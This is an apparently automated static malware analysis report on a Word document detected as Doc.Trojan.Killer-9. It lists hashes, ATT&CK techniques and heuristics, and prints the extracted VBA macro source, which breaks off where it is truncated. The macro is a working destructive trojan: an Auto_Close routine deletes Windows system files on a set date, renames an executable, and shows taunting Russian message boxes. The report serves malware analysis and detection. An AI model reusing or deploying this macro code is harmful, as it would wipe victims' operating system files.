Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c1a4a07c9a120f1…

MALICIOUS

Office (OLE)

42.5 KB Created: 2005-04-03 11:33:00 Authoring application: Microsoft Office Word First seen: 2012-06-14
MD5: ea2c10261cf2a637518cefe47423eec7 SHA-1: b22392f48295adea475d9cc205f46036fdfa1a6a SHA-256: 8c1a4a07c9a120f10e103d281067605d0a613f59f4b4e4cc8f32217abf4f6fa9
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1491.001 Defacement: Content Spoofing T1070.004 File Deletion T1564.001 Hidden Files and Directories

The sample contains a VBA macro with an Auto_Close subroutine, which is a common technique for executing malicious code upon document closure. The script attempts to delete files from Windows directories and rename a legitimate executable, indicating destructive or disruptive intent. The messages displayed to the user are also indicative of a trojan, possibly attempting to mislead or taunt the user.

Heuristics 5

  • ClamAV: Doc.Trojan.Killer-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Killer-9
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9063 bytes
SHA-256: 4276018ccd0fa5e48cfd502dff28d0830cbff8b291ce30b7be9fc3258bd47b2b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" (ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Sub autoclose()
On Error Resume Next
If Month(Now()) = 9 And Day(Now()) = 11 Then
Kill "C:\WINDOWS\*.*"
Kill "C:\WINDOWS\system32\*.*"
Kill "C:\WINDOWS\system\*.*"
MsgBox "-------НЕУДАЧНЫЙ ДЕНЬ--------", vbCritical, "GAME OVER"
Else
If Month(Now()) = Day(Now()) Then
OldName = "C:\Program Files\Winamp\winamp.exe"
NewName = "C:\Program Files\Winamp\winamp.dll"
Name OldName As NewName
MsgBox "       Невожможно закрыть Microsoft Word     ", vbCritical, "Error"
MsgBox "       WARNING!!!   Virus Alert              ", vbExclamation
MsgBox "       Обнаружен вирус Trojan.Apokalipse.990eERR", vbCritical
MsgBox "       RSXCЪХЪЖХ}>}{}::P_p][p-BHG}{LPJBG(&*(&%*(*&^)UgyuFRCHGVFMPK)J?>HYt"
MsgBox "       Hi, Lamer !!! }:}:>}:L{>{:}{:|}:}{L{LLL}L}", 0, "For Lamer"
MsgBox "       My Name is Debuger                ", vbInformation, "Debuger"
MsgBox "       Хочешь закрыть Word???            ", 4, "Debuger"
MsgBox "       Чего мучаешся, Hacker галимый @@@@@@@@@@@@@@@@@@@@@@@@____________", 5, "Debuger"
MsgBox "       Я вижу у  тебя винда нелицензионная (:(:(:(:(:(:(:(:(:(:          ", 0, "Debuger"
MsgBox "............и проги пиратские............................................", 0, "Debuger"
MsgBox "       Да ты ещё музло бесплатно слушаешьХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ", o, "Debuger"
MsgBox "       ПИРАТСТВУ------------БОЙ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!          ", 3, "Debuger"
MsgBox "       Сколько можно жать ОК?][;]=;];=[;.]l;][;];]                       ", vbQuestion, "Debuger"
MsgBox "       ];]=90=9   На компе много ДЕРЬМА                                  ", vbExclamation, "Debuger"
MsgBox "+++++++Gih Прочистим мозги", 2, "Debuger"
MsgBox " gvycgdevccvvuebvfuvcbidcdhcvhjfbdfverbvhdfbvkfbvierbvhbvjkdfvnoerghuerionvfjkefvyuidfubvdfjvnuifbvkdfbvdkfvnonflvncjkfvnjkfdbvjkdfbvkdfjvnfjvbkjbvuivnuiervervyucvrycbicvyurcbuecvrcbuybcirbibvfiriebvuerbvierburbvuierncvruifnuierbfverubfveruobvierbvfuirvnuirencvoeruveruibverbvurbuirnfvornfvoerbvroebvoerbviorbvioerbvfiorbvoribvoribvfrobvrbviorebfriwebfrobvfrebvernvriovfnerofnvgeriogeyfrfjriofhuierfhукенг4ен45гео5щзеш9045негш5рагшпнгкацалукпаклалдукрпгшуимукмшщутмзщукмлщзукаомщзукпошщукрпущкпвсмцуенчмцугчмцугтчшцусишцусишцувшщцумаецумвуоварукаьпармкукрпгшукткщмьакрскнцаицукаиукшциаукшипвасросикрсммаируксмтииамрамолватмолпаимгпруеимшимолмтолпаимитмшваипмним ариммишимраимимримримароимримрогаимроваимроимимрваимроаимроваимолваимроваимимроимроваимроиамроваимроаимроваимрмуаолмтшщукатукшщмукгшимугпампасвфывпрчсфыачмвпрсмвмсгуисукиаукцрсиукгисуксиксиушксишксткрмпапмсгкцумснгксмцукгисрогцукисукрсикотсшцукрсицукгсикимасисшцкиксмукрцсикшцурукимааиксишцуксиукгсиушкроимаугшмикущмукшщиммщуктмщ", vbCritical, "Debuger"
MsgBox "тЫ мНе НаДоЕл", 3, "Debuger"
MsgBox "___________________________________________________И комп у тебя отстой____________________________________", o, "Debuger"
MsgBox " Пока ты фигнёй страдал твоё пиратское Гавно смылось в Унитаз", vbInformation, "Debuger"
MsgBox "                             URA!!!    URA!!!     URA!!!                                                   ", 0, "Debuger"
MsgBox "NJ    тО ЛИ ещё будет///////////////////////////////", 2, "Debuger"
MsgBox "----ХОРОШИЙ ВИНТ-ЧИСТЫЙ ВИНТ----", vbCritical, "Format\: C"
MsgBox " Ну вот и началось самое Интересное", vbInformation, "Debuger"
Else
MsgBox "       Невожможно закрыть Microsoft Word     ", vbCritical, "Error"
MsgBox "       WARNING!!!   Virus Alert              ", vbExclamation
MsgBox "       Обнаружен вирус Trojan.Apokalipse.990eERR", vbCritical
MsgBox "       RSXCЪ
... (truncated)

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